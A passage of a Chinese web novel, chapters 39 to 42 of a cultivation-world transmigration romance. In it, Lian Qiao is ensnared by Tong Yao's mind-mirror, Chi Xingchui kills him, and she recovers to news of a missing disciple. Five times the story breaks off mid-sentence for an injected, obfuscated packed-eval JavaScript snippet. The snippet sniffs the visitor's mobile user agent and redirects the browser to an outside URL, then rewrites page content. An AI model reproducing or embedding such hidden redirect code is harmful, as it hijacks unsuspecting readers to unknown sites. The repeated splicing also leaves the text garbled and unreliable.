“一靠近他我就很迷糊,头脑一片浆糊。”连乔回想起来,竟然不记得瞳曜出现后她做了什么,只觉得很困很困,像三个月没睡觉一样困。 南道:“啊?” “他很不对劲,你帮我盯着他,有什么动静跟我说。” 连乔打发走南道,头疼得更厉害了。 回到房内,连乔栽倒在床上,被瞳境影响后,她就一直不在状态,现在头上像是有一万只苍蝇飞过,“嗡嗡”乱叫。 万机响起,她打开看一眼,迟星垂的消息。 迟星垂问:你在哪。 连乔觉得眼皮很重,也不知道有没有回迟星垂的消息,就没了意识。 再睁开眼,周围一片寂静,她猛地坐起来。 还是她房里,蜡烛还没有熄灭,也不知她是什么时候睡着的,更不知道过了多长时间。 连乔摸了摸周围,窗还开着,她想起身去看一眼天上的星象,看现在是什么时辰。 没等她起身,忽然想起一件事。 她睡前是关了窗户的。 虽然她害怕幽闭的黑暗空间,但是开窗休息让人更没有安全感,所以一直都是点着灯关门窗睡觉。 现在窗户开着…… 连乔伸手摸到枕头下的匕首,还没有抽出来,手腕就被另一只大手压住。 紧接着一个人覆上来。 瞳曜贴过来,连乔下意识提脚,右脚抵在他胸口上。 “不请自来,瞳曜你的本事是越来越大了。” 瞳曜双手举起,仍旧是白日那副精致的装扮,面上又带上了微笑,“小谷主,我怎么感觉,你现在很抗拒我。” “难道我不该抗拒你么?” “是瞳曜哪里服侍小谷主不到位吗?”瞳曜一只手往下,想握住连乔雪白的右脚,连乔一阵恶寒,一脚蹬在他胸口上,蹬得他闷哼一声。 “老实点,好好回答我的问题。” “你怎么知道我在云来城的?” 瞳曜回道,“小谷主,我们是你的贴身近卫,知道你的行踪没什么问题。” 他的手有蠢蠢欲动,连乔眼睛眯起,瞳曜才又坐正了。 “玉非缘?” 瞳曜的表情出现一丝裂缝,但很快又恢复正常。连乔“哦”了一声,“看来真的是老谷主。” 如此说来,老谷主确实不像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186482|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明面上那样喜爱她。 原主和老谷主之间,有什么冲突在? “连翘。”瞳曜喊了她一声。 连乔抬头,对上他漆黑的瞳孔。 她下意识地转头,想离开他的视线,但是已经来不及了,在接触到瞳曜目光的那一瞬,她的意识开始突然涣散,紧接着聚合,下坠,一直往下掉,最后沉寂在某个角落。 她整个人沉顿住,像一尊玉石雕刻的画像。 瞳曜伸手拂过她的头发,玩味地望着她。 “又见面了,小谷主,别来无恙啊。” 他俯身,想离连乔近一点,凑近了闻到她身上淡淡的果木味。 很淡,很好闻。 说实话,她虽然刁钻傲慢大小姐脾气,但是人并不是那么无趣,如果不是有任务在身,这样的姑娘主动和他示好,他也非常愿意。 瞳曜伸手去捏连乔的下巴,下一刻,银光一闪,一根银链锁住他手腕,猛地扣住,往后一撤。 瞳曜被拖着往后退了几步,被银链吊在空中。 “你没中计?” “嘘。”连乔比了个“不要出声”的手势,“别闹,这是听音链,你说话它就会收紧,你叫得越大声,它就越兴奋。” 瞳曜被吊在空中一荡一荡,听音链始终在收紧,瞳曜吃痛地叫一声,“连翘!” “啊忘了说了,要是我想折磨你,它也会收紧。” “啊……唔!”瞳曜吃痛,却不敢大声说话,他倒挂在半空,双目通红。 “这条链子还是你们送给我的。”连乔坐下,“还记得吗。” 事实上她并不知道这个是不是瞳曜送的,原主的东西很多,放得很杂乱,也没有介绍——但是这么不正经的东西,也没有普遍的用处,不会有别的来路。 果然,瞳曜轻声一笑,“小谷主,我送你的东西,你就要来对付我吗?啊!” 连乔一鞭子抽在瞳曜胸口,她下得只有一半的力,但这条鞭子是高阶法器,抽一下就是伤筋动骨。 “你送我东西,应该就是喜欢这么玩吧,来啊,继续。” 连乔反手又是一鞭子,这一鞭子呼在他脸上,让他的英俊的脸也凝出一条巨痕。 “怎么样,喜不喜欢,刺不刺激?” 39.第 39 章 “连翘!”瞳曜彻底暴怒,“你想干什么?” “想玩你啊。”连乔这次下手不再发狠,她挑出一个痒痒挠,在瞳曜的怀里来回扒拉。 “啊哈哈,啊哈哈哈哈哈哈……”瞳曜又痒又痛,又哭又笑,“哈哈……住手,连翘,啊哈哈……” “这才哪到哪啊。”连乔用鞭子勾住他脖子猛地一扯,“这些年你用在别人身上的手段,比我这个狠多了。” “这样吧,你说说。”连乔停下来,让瞳曜有喘口气的机会,“你什么时候成了老谷主的人?” 瞳曜虽然没有像南道跟她那么久,但在子午谷也已经很多年。 “老谷主?”瞳曜一脸茫然,“小谷主,老谷主身体不好,已经闭关修养很多年了,你不是不知道。” “他是不是闭关了,你最清楚。你不愿意说也没关系。”连乔眯眼,听音链收缩更紧,瞳曜的脸已经涨成紫红色。 她又给了他几鞭,抽得他又痛又不敢出声,咬着牙“唔唔”出声。 与此同时,门外。 “连翘?连翘?” 迟星垂扣响连乔的门,重心蛊又起了作用,他感受连乔心神激动,她心神激动,正在为什么事发火。 借酒楼是单行通道,外面的声音能传到房间内,房间中的声音却传不出去。 房间里面十分安静,安静得可怕。 迟星垂迟疑了一下,还是怕连乔会出事。 他推开了门,便看到半空挂着一个人,连乔手持长鞭,正抽得起劲。被抽的那个人浑身是血,但是一声不吭,似乎表情暗爽。 迟星垂很尴尬,他进也不是,退也不是。 “啊,迟星垂?”连乔想起迟星垂很讨厌瞳曜,她很热情表示,“你来试试?” 迟星垂:“不用了谢谢。” 谁知道她在玩什么奇怪的东西?!迟星垂立刻要退出去,“抱歉,来得不是时候。” “不,你来得正是时候!哎……迟星垂!” 连乔话还没说完,迟星垂已经退出去了。 连乔:“……怎么跑得这么快,还贴心把门带上了?” 望着手里的皮鞭和空中的人,连乔一个激灵。 不好,他好像误会什么了。 不管了,今天瞳曜在这,她必须得问出点什么……没等她转身,一只手从背后伸来,悄悄地捂上了她的嘴。 “没关系小谷主,他走了,我陪你。”瞳曜已经挣脱了银链,他靠在连乔耳边,“你不是想问点什么吗?正好,我也有点问题要问你。” 连乔瞳孔骤缩,身体被禁锢得不能动,立刻用意识控制灵气去拿万机。 瞳曜的另一只手按住她,东西丢在地上,一只靴子将它踩了个稀巴烂。 “小谷主,这些问题我要当面问你,我们不要叫其他人了,好不好嘛……” 瞳境接住晕倒的连乔,她的瞳孔已经涣散,意识被囚锁在瞳境之中,只要瞳境再次读取了她的意识,之后再支配她做事,也就不在话下。 他将连乔放平,起身要去将门窗封好。 迟星垂走了一半,忽然感觉一阵眩晕,识海中出现一瞬间的空白。 ……连翘又在玩什么鬼东西?! 他快步回房,强迫自己脱离这些怪异的情绪,识海中的空白还在延续,像是被压在水中,濒临死亡的窒息感。 不对! 瞳曜还没搭好结界,门“轰”一声被踹开,紧接着又被人从里面锁死,他还没反应过来,整个人被一道白光束起,“砰”一声丢在地上。 他下意识开口要叫,迟星垂一把捂住他的嘴,施咒封住他口舌,让他既动弹不得也说不出话。 瞳曜下意识闭上眼,但迟星垂抢先一步,一片冰霜卷来,从他的太阳穴开始生出,一直蔓延到双眼眼眶,将他漆黑的瞳仁冻住,不得眨眼。 在漆黑的瞳孔里,倒映出一个影子。 那影子穿着很奇怪的衣服,像是悬浮在水中,又像是在不停下坠。 等下坠停止,连乔的意识重新清醒过来,她发现自己站在高桥之上,周围亮着灯,一直绵延到远处。 她再低头,整个人再次愣住。 怎么,又回到这里了呢? 这么真实,这么清晰,让她觉得,好像自己一直被困在这个地狱里,之后经历的一切,不过是沉睡时候的一场梦。 迟星垂覆住瞳曜的双眼,他双瞳的景象也跟着显现在面前,连乔被困在瞳镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191317|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,始终顺着台阶往上走。那台阶又抖又长,像是永远也望不到边。 “连乔?连乔?” 连乔听不见,不管他如何尝试去唤醒她,她都不为所动。 瞳曜的双瞳被冻住,嘴还能说话,“迟大公子,我们经常会玩这些游戏,这是我和小谷主之间的小情趣,我劝你还是不要插手。” 说完他望向迟星垂,但没等瞳镜施展开,他的一只眼球爆开。 “啊!” 瞳曜尖叫一声,迟星垂望向那只残缺的破眼,“你另一只眼珠还要么?” 瞳曜全身发抖,相信瞳镜的实力,它能够读取人内心最深的恐惧,不断蛊惑,不断引诱人沉沦,直到对方在欲望的汪洋中溺毙为止。 怎么会这么轻易,就被迟星垂破了? 他为什么不受影响?! 没有人能不受影响,当初连翘还差一点死在里面。 年少时的连翘最怕的就是被抛弃,早年丧母,而继父是一个人面兽心时时刻刻想要置她于死地的畜生……她像一片没有根的浮萍,时时刻刻充斥着被抛弃被丢弃的恐惧。 这导致她发狂,瞳镜一直在告诉她,你看,不管你做得多好,你永远都不会得到他的认可。 连翘也不止一次想摆脱困境,她发怒,发狂,发癫,每一次想挣脱瞳镜的束缚,都会带来更为严重的反噬…… 每每这时,那位看上去温和儒雅的名义上的“父亲”,就会异常兴奋,他像一个看戏人,站在斗兽场的笼子外,看里面的困兽一次又一次地挣扎,却一次又一次被更强大的对手打到,按在地上凌虐。 玉非缘不想让连翘死,他想让连翘生不如死。 虽然瞳曜也不清楚那位老谷主究竟为什么如此变态,但是他的命门握在对方手中,他没得选择。 他不了解迟星垂,也不知道迟星垂能力多强,被破功没有让他很震惊,但是瞳曜不清楚,为什么这次连翘会失控。 在以往的几年里,连翘尽在掌控,她被瞳镜困得死死地,没有丝毫反抗的能力。 她在冲虚学院有什么变化么? 瞳曜满腹狐疑,但是在看清瞳镜里面的景象后,他却怔愣住。 面前这个人不是连翘? 40.第 40 章 不仅和连翘长得不同,生长环境,行为习惯也完全不一样。 这根本不是连翘! 他甚至不知道这个人是谁! 怪不得瞳镜没有任何作用! 瞳曜倒吸一口气,想要将消息传出去,却在一瞬间,迟星垂扣住他的手臂,将他手上的通讯符搅碎。 瞳曜再次尖叫一声,火苗灼烧皮肤的光亮倒映在他眼中,刺痛烧灼他的皮肤,但是身体被迟星垂绑住,他却又动弹不得。 借酒楼的隔音阻挡了他的求救,外面静寂无声,连片落叶落到地上的声音都能听到。 “怎么,这一点疼痛都受不了?” 迟星垂拉起椅子,坐在他对面,望着他另一只瞳孔里自己到倒影。 “蛊惑连翘为难其他人的时候,这些罪你可从没让别人少受过。” 瞳曜忍住痛,汗珠从他额头上滚下来,他因为忍痛而声音颤抖,“我和阁下,可没有深仇大恨。” “当初是连翘色心大起,所以将你掳回子午谷,也是她想让我们对你做些什么,到现在这种地步,你还要帮着这个始作俑者吗?啊我的手!” 迟星垂换了个坐姿,示意他继续。 瞳曜的手鲜血淋漓,看来是废了,他喘了两口气,“你之前明明很讨厌连翘,为什么现在这么帮着她?” 连翘这段时间变化很大,是不是跟这个人有关系? 瞳曜假装在和迟星垂说话,事实上偷偷沉下眼,去探寻连翘内心深处的秘密。 瞳镜能够看清一切。 她到底是谁,究竟是怎么来的,为什么现在如此难以控制…… 在他观察到连乔的那一瞬,一道剑光破开,直接撕碎他的瞳孔。 瞳曜有一次惨叫一声,但借酒楼的隔音和保密做得太好,这又是连乔的房间,她不主动出来,就没人会兀自闯入。 瞳曜也是因为这一点,所以提前潜伏在连乔房间内,却没想到螳螂捕蝉黄雀在后。 迟星垂本想留瞳曜一命,瞳镜在他双眼之中,他一死,会对内部镜像造成猛烈冲击,连乔在里面不知道会遇到些什么,危险反倒更大。 但现在必须杀了他。 瞳曜的第一反应是去报信,他背后还有别人。 前世连翘不明不白坠魔,和瞳曜背后的人脱不了关系。 那个人和真正的连翘之间有千丝万缕的联系,在事情弄清楚以及在找到真正连翘之前,他不能让对方知道现在“连翘”的真实身份。 瞳曜在被一剑穿心。 他双瞳张开,似乎没想到死亡来得这么快。在他心脏停止跳动的那一瞬,瞳孔里面的镜像也开始散去,慢慢变淡。 如果不及时将连乔拉出来,她就会和瞳镜一同消失。 迟星垂贴在幻境之外,用手用力锤了两下,“连翘,连翘?” 连乔反反复复在做高空坠亡的梦。 红色超跑在路面疯狂翻滚,冲破栏杆跌入深海。 还是深冬,刺骨的海水漫过车门缝隙,从四面八方涌进来,漫过双脚,双腿,小腹,胸口,脖颈,嘴唇,鼻腔…… 连乔想推开车门,没有反应,试着呼喊,没有回应,一直到海水吸满肺腔…… 剧痛让人的思绪无限拉长,她能够清晰感知生命在流失,一直到归于寂静。 她闭上眼,再睁眼……又重复回到她上车的那一瞬。 车门关闭,启动,“嗡”一声冲进夜色。 跨海大桥的灯光闪烁,远处连绵的光点像长长的游龙。 连乔站在桥上,再一次看到自己的车被撞入海中。 又是再一次的重复。 如此反复,她已经记不清有多少次了。 她没有亲人,朋友不多,出事了也没有人知道,一直到警方打捞出尸体,才确认了她的身份。 连乔一开始想去拦自己,但是现在拦住了,另一个自己还是会以其他的方式再次坠入深海。 如此循环,如此往复…… 她也在这无穷无尽的轮回里产生微妙的无奈。 是不是要永远困在死亡轮回之中了…… “连乔,连乔!” 有人在喊她…… 是谁呢? …… “她还要睡多久?” 坐在连乔床前的南道猛地坐起来,默非揉了揉额头,“你别来回走,闹人。” “那个瞳曜怎么进入她房间的,这么无声无息的,你们怎么做事的?”南道停下脚,对着借酒楼的人大骂。 “这事不全赖我们。”一个小厮战战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13204163|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兢兢开口,“之前我们拦他了,但是这个人有小小姐的随身令牌和贴身物品,见令牌如见小小姐本人……” “不是说了拦住他吗,就算有随身令牌也没用!”南道捏了捏眉头,“以后再遇到不认识的人,只有小小姐本人同意见才能见,知道了吗?” “是。” “下去吧。”南道转过身,又问默非,“能醒吗?你确定吗?你有没有看错啊?她现在一点反应也没有。” 默非:“……” “快了。”迟星垂探完她的脉搏后收回手,“我们先出去吧,让她再休息会儿吧,看样子明天应该能醒。” 南道叹了一口气,“希望这次不会有事,上次也是这样,莫名其妙昏睡三天,再之后性格就越来越偏激……这么看来,当时就是瞳曜蛊惑了她?但是我看他也没那么大的本事,能够在我们眼皮子底下悄无声息对连翘做点什么,难道他身上有别的东西?” “迟公子,你有没有发现,瞳曜身上有什么特殊的法器,比如……摄人心魂的幻境?” 迟星垂抬眼,“没有。” 南道微微扬起下巴,“你确定吗?” 迟星垂想了想,“不过,瞳曜离开时一直想给某些人发消息,他对连翘不利,可能受人指使。” 南道“啊”了一声,“连翘树敌那么多,想置她于死地的人一本账本都数不过来,这怎么找。” “能安插瞳曜在连翘身边的人,明明可以直接了结她,却偏要诱导她做些有悖人伦的事……不像是故意寻仇,更像是在故意折磨她。” 迟星垂抬眼,“她做过什么,让别人对她生出那么深的怨恨么?” 南道:“……让我想想。” 默非瞳孔微微一缩,很快恢复正常。 他转而望向迟星垂,“多谢迟大公子出手相救。迟公子,这份恩情我们子午谷会记住的。” 连乔因为瞳镜困锁,被倒抽修为,但她意志力很强,始终不肯让灵气流失,修为有稍微损伤,但并没有倒退。 她已经昏睡三天三夜,迟星垂望了她一眼,微微吐出一口气。 还好,他去得及时,她没有大碍。 几个人离开,却在关上门的一瞬,一抹红黑气也跟着消散,它藏在瞳镜碎片里,几乎没有人发现。 41.第 41 章 从云来城到子午谷,要经过许多座人间小城,那一抹魔气极淡,几乎不能被人发现。 它在云来城绕着借酒楼几圈,最后幻化成一个凡人模样,仰头望着灯火摇晃的高高楼宇,像是想起了什么,看了很久,又慢悠悠地离去。 他身上什么也没有,像一只没有依靠的孤魂野鬼,云来城来往的妖族、妖修众多,它也随着人流走向远处。 那个人影自以为做得极其隐蔽,但在他离开云来城,一个黑色的影子也跟在后面,无声无息地踏入黑暗。 “大公子,我已经跟着它出城了。”吴影道,“是一抹魔气,但是修炼多年,已经成了人形……模样很年轻,是少年人。” 迟星垂停下翻书的手,“它现在往什么地方去?” “现在去的是无极剑宗。” “无极剑宗?” “是。”吴影也很奇怪,他像蛇一样挂在树上,连呼吸也没有,完全与夜色融为一体。 “不过它并没有进无极剑宗,也可能是它进不去,无极剑宗之外有禁制,它绕着剑宗走了几圈后又离开了。” 吴影跟在它身后,“更奇怪的是,这次要去的方向,像是去……大荒原?” 大荒原? 百年前妖族突破百丈河,修真界出动了无数大能对六域结界进行加固,但在大荒原一带遭遇了妖兵埋伏,死伤无数。 比如他娘亲,比如师祖,比如无极剑宗那几位大剑仙,还有许多宗门,都在那一场埋伏中全军覆没。 “那抹魔气根源是什么?” 吴影用辨灵盘测了几遍,“是虚影留下的妄念,那妄念太深,甚至化成了人形,变成妄灵。妄灵由魔气所化,根植在宿主身上,只要根植者尚在,就能利用虚影驱使宿主为他所用。” “瞳曜他们是被这妄灵驱使?” “对。”吴影对这个发现也很震惊,“是的大公子,而且这妄灵等级很高,藏在瞳曜的瞳镜里面,它与瞳镜本体来源如出一辙,很难被人发现。” “不过公子……还有更怪异的地方,这妄灵身上不仅有魔气,还有妖气……甚至是人气!” 迟星垂面目冷冽,“吴影,继续跟着他,一直到他消失为止。” “是。” “还有……”迟星垂将书放下,“你小心些,别被发现。” “多谢公子关心,吴影定当小心。” 符箓燃烧殆尽,吴影的声音消失,迟星垂陷入深思。 妄灵有所牵挂,所以一直盘桓在借酒楼不离开,又或许他与无极剑宗有关,所以宁愿冒着被发现的风险,也要远观一圈。 还有……它要去大荒原? 妄灵身上有魔气,妖气,甚至有人气……谁会同时成为这三种人呢。 迟星垂不清楚,不过现在可以确定,这个东西和连翘有关,他怨恨连翘至极,甚至生出妄灵,用妄灵寄生活人去对付她。 真正的连翘年岁不大,虽然做事荒唐,但是这一世迄今为止,除了将他掳走外,还没有做过造成太大引起严重后果的事…… 那究竟是什么呢? 是不是和她前世无端坠魔有关。 * 耳边的水声咕噜咕噜,连乔在一次又一次阻止自己死亡无果后,一只手撕破海面,将她从不见天日的海底拉出来。 渗入骨缝的刺骨寒冷慢慢消失,那个人带她到一个光亮舒适的地方,那里温暖而又平静,没有海水的翻滚,也没有巨物撞击的悲鸣,没有水,没有高空,没有逼仄让人窒息的密室…… 她像躺在棉花上一样温暖,四肢都暖洋洋的,全身都很放松,也不知道什么时候睡了过去。 再次醒来时,正好是清晨,屋外的阳光穿过窗棂透进来,打在她身上,空气中浮着安神香的青烟,三面狐变成小猫大小,乖乖躺在她脚边。 有种不切实际的真实感。 “醒了?” 迟星垂伸手探一下她额头,“还好,退烧了。” 连乔咳嗽两声,“怎么是你?” “默非去珊瑚海找专治你识海损伤的贝珠,南道在给熬药,我刚好路过,进来看看你怎么样。”迟星垂给她倒一杯水,连乔接过来浅浅喝了一口。 迟星垂的手白皙修长,骨节分明,因为练剑,虎口有薄薄的茧,他的体温比她的高,碰到额头,温和又绵软。 连乔想起将自己从海水中拉起来的手。 她偷偷看了一眼迟星垂,迟星垂又给她倒了一杯水,目光转过来的时候,连乔把头转过去。 迟星垂将一切收在眼中。 虽然他不清楚连乔是从哪个世界来的,又是怎么来的,但是从她的心魔来看,她一个普通人,遭受了那样严重的惨死,来到这个世界,又被迫接受连翘的烂摊子,还能一路走到现在,很不容易。 死亡那么多次,她没有一次停止过解救自己,即使一次次重复死亡,也会马上调整心态重新抓住一切机会求生的人,又何尝不是他自己? 门被推开,南道端着药进来,“哎呦哎呦,烫死了烫死了,正热着,默非说趁热喝才有用,来三面狐,快喂连翘喝药。” 三面狐从床尾爬起来,跳到地上化为人形,接过南道端着的药,轻吹一口气,等稍微凉一些才喂给连乔。 连乔望着化得平平无奇的人形,咕噜噜转着眼珠,“哎呀错了错了!” 连乔微微偏头,嘴角抿成一条缝,目光如炬,朝三面狐使了一个“你知我知”的眼色。 三面狐立刻会意,“嘭”一声,一个桃花眼面庞无比英俊的少年男子坐在她床前,低眉浅笑,温柔地给她喂药。 连乔立刻娇羞无比,低下头,迎着三面狐的口,喝了一大口。 啊,良辰美景,死里逃生,刚睡醒就有大帅哥给她喂药,何等的风月无边啊! 南道:“我滴嘛!” 迟星垂嘴角抽搐:“……” 他盯着三面狐,微微眯眼,“大梦初醒,大病初愈,需平心静气休养生息,忌骄奢戒□□,三面狐……” 喂药的俊美男子会意,摇身一变,化成蓬头垢面五大三粗的络腮胡子抠脚大汉。 “噗……”连乔一口药就要喷出来。 迟星垂眼疾手快,他抄起托盘中的手帕,垫在手里,上手捂住连乔的嘴。 “药很贵的,别吐了。” 连乔被迫回咽,眼泪汪汪,望着三面狐戏精上身,抠完脚又挖鼻孔,两眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214133|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一翻,又要晕过去。 迟星垂:“要晕也得喝完药,三面狐……” 连乔:“你别过来!” 连乔全身心都在抗拒,她快要碎了,谁来救救她?! 迟星垂忍笑,他使了一个眼色,三面狐会意,也不再闹腾,摇身一变,化为一个妙龄女子。 连乔这才缓一口气,仿佛活过来一样。 但等看清了,又微微一愣。 迟星垂也顿了一下。 这个女子,和他在连乔的心海中看到过,和真正的她有六分相似。 连乔望着面前端药的美女子,巴掌大的小脸,皮肤白皙细腻,狐狸眼高鼻梁,一点朱唇,既魅惑,又纯情,当年她靠那一张脸不知道迷死多少人。 三面狐化成的人和她只是像,还不及她以前漂亮。 不过这已经很可以了,三分像我你无需自卑,六分像我已是天姿。 连乔呆呆望着三面狐,一种怀念、悲伤、牵挂的情绪,又悄悄爬上心头。 她想起那撕破海面,将她拉出来的手。 她脾气不好,朋友不多,树敌一片,仇人一堆……拉她的不是迟星垂,是三面狐吧? 不然三面狐怎么会突然化成她的模样。 幸亏三面狐智力不高,还不会说话,所以也不会知道她不是真正的连翘。 真感谢这位救命恩人,连乔伸手抱住三面狐的脖子,又摸了摸“自己”的脸,“谢谢小可爱救我。” 说完她贴上去,对着“自己”的脸,“啵”一声,亲了一口。 迟星垂:“……” 三面狐瞳孔地震,因为激动,它的脸由“连乔”的脸变成了狐狸,一个妙龄女子的窈窕身体,顶着一只白狐的头,这是什么聊斋故事? 连乔觉得恐怖,“变回去变回去!” 三面狐的狐狸嘴咧到耳根,它龇着牙吐着舌头,挺起胸膛傲慢了很久,最后又变回“连乔”的模样。 很好,看到自己的美脸,舒服了。 连乔本来觉得药很苦,只有身高腿长大帅哥喂药她才喝得下。但是现在“自己”来喂药,顶着这么美的一张脸,当真是赏心悦目,谁看了不得迷糊? 连乔很给自己面子,没怎么挣扎就将南道端来的三碗药“吨吨吨”喝完。 她喝完药,看到迟星垂正在拿着万机回消息,面目凝重,“你在看什么,发生什么了?” “陈灵玉失踪了。” 迟星垂想起上一世,陈灵玉他们几个下山灭妖,也是不明不白在桐花岭失踪。 不过当时他因为被别的事牵绊住没有去,是迟来风他们接下去寻找同门的任务。但是迟来风糊弄惯了,最后也没弄清楚陈灵玉失踪原因,陈灵玉就此失踪,是生是死也没人知道,生不见人死不见尸。 连乔也拿出自己的万机,想去上面看一下陈灵玉的信息。 但是没有,来回翻了几遍也没有,一条消息也没有,更别提乾元剑宗发的任务了, 连乔:“为什么我没有你说的任务?” 南道伸过头来看,“冲虚学院筑基前期以上的弟子都收到了任务通知?” “迟大公子,为什么别人都有,就我们家连乔没有?” 42.第 42 章 迟星垂:“……” 他也没想到,连翘在冲虚学院的处境如此艰难,被孤立到了这种地步。 正说着,万机“叮”一声,连乔接到了一条讯息,是白花惊发来的。 她跟连乔简单复述一遍陈灵玉失踪的事,“连乔,你认识灵玉师姐吗?这次好危险啊,她一直很厉害的,可是就不明不白没了踪影,谁也找不到她。” “连乔姐,我好担心她。”她有些难受,“可是我太弱了,我甚至没资格去救她。” 连乔回忆原书剧情。 原书里面没有详写陈灵玉遇险之事,只说了乾元剑宗有弟子在历练中失踪,之后女主一群人接下历练任务,去桐花岭寻找失踪的同门。 这段时间,云招摇在乾元剑宗的名声很大,她温柔漂亮情商高,能力出众待人友善,十分自立自强,在一众优秀子弟里也格外出挑。 迟来风对她起了浓厚的兴趣,开始热烈追求,但云招摇始终对他没有好脸色。 那个男人傲慢又无礼,虽然长得英俊,但是行为做事都很轻佻,跟很多女弟子都暧昧不清,这样一个人,怎么可能会有真心呢? 云招摇对他报怀疑态度。 她一直觉得迟来风对她是一时兴起,是纨绔子弟捉弄她的把戏,直到这一次桐花岭历练,迟来风和她同入险境,为她挡了一剑,她才对他有所改观。 原来,他对她真的有真心…… 这段时间在乾元剑宗,迟来风对云招摇疯狂追求,动静极大,闹得满城风雨。 连乔忙着修行忙着突破,没有太注意男女主的感情进展,但在冲虚学院这么久,她也是多多少少听到看到一些趣事异闻。 迟来风高调求爱,只要云招摇上学,他就雷打不动接送,美人很倔强不理会他,他也笑脸相迎,试图每天融化一点美人心里的冰。 上一次连乔下课,在出学院的时候好巧不巧碰到迟来风,看到连乔,迟来风微微吃惊。 他思忖半分,上下扫视她一眼,最终还是开口,“连翘,好久不见。” 连乔:“?” 迟来风道:“你和以前……好像不太一样了。” 连乔同意,“我变强了。” “我的意思是……”他桃花眼轻挑,“你更漂亮了。” 或许是灵力养人,现在的她桃花满面,自信而又朝气。 以前的她因为修为低,总是低着头,一直敏感又暴躁,稍微说话不注意,就能引爆她怒火……以前的她虽然漂亮,但是又太没朝气,显得很小家子气。 但是现在不一样了,她也算得上是天才之辈,短短时间突破筑基连升多级,近期冲虚学府中她也是人气最旺人之一。 况且她这么漂亮,待人处事么,也说得过去,虽然现在也傲慢,但相比较之前经常没事找事的野蛮小姐来说,还是做得不错的。 迟来风觉得,她也有点意思。 “当然,你一直很漂亮。”迟来风很会撩人,桃花眼目送秋波,“只是今天更漂亮而已。” 连乔:“你今天也很漂亮,敖周说他想你了,要不晚上我再把他送你床上?” 迟来风脸色立刻黑下来,“连翘,你!” 他头一次碰到这样疯癫的女子,什么话都说得出来,一点也不害臊! “我怎么了?” “你是个姑娘家,要知道礼义廉耻,不要什么话都说什么事都做。” “你说得对,你不是姑娘家,所以你不要礼义廉耻。”连乔托下巴上下打量他,“看来你做了不少不知羞耻不要脸的事么。” 迟来风被噎住了,他的胸口一鼓一鼓,摇着扇子的手都在抖。 这么多年,向来都是别人捧着他追着他,哪有人这么刺激他? 不对,连翘明明很喜欢他……她之所以这么反常,是不是因为,她想吸引他的注意? 毕竟,平常的手段可不会让他对她有所改观。 迟来风冷笑一声,“你……” “你胸口鼓那么快干什么?”连乔冷笑一声,“你是在秀胸肌吗?” “你想勾引我?”她邪魅一笑,“你不是在追求云招摇么?呵,死渣男。” 迟来风的表情又是一大块裂缝…… 我特么…… 在学院遇到迟来风不是一次两次,有时候也能碰到云招摇,但是云招摇很避嫌,也没在公共场合下看到他们。 不过原著里是有写男女主二人私下火花四迸的,两个人在饭堂用餐,隔着一大群人迟来风也能发送秋波,云招摇虽然面上抗拒,但是心中也有所松动。 这次历练,原本是和迟来风无关的,但是他还是为了云招摇接下任务——并且在这个副本中,两个人的感情会有质的飞跃。 迟来风以身救险,云招摇隐忍而克制的爱意也决堤,两个人脱离险境后在水下拥吻,秘境中坍塌的砂石也为他们的爱情喝彩。 之后男女主会开始一段快乐的同门时光,二人同修同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233158|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行,初尝禁果……一直到云岭的母亲身体抱恙,迟来风带着云招摇回家探亲,才开始另一段“恩怨”。 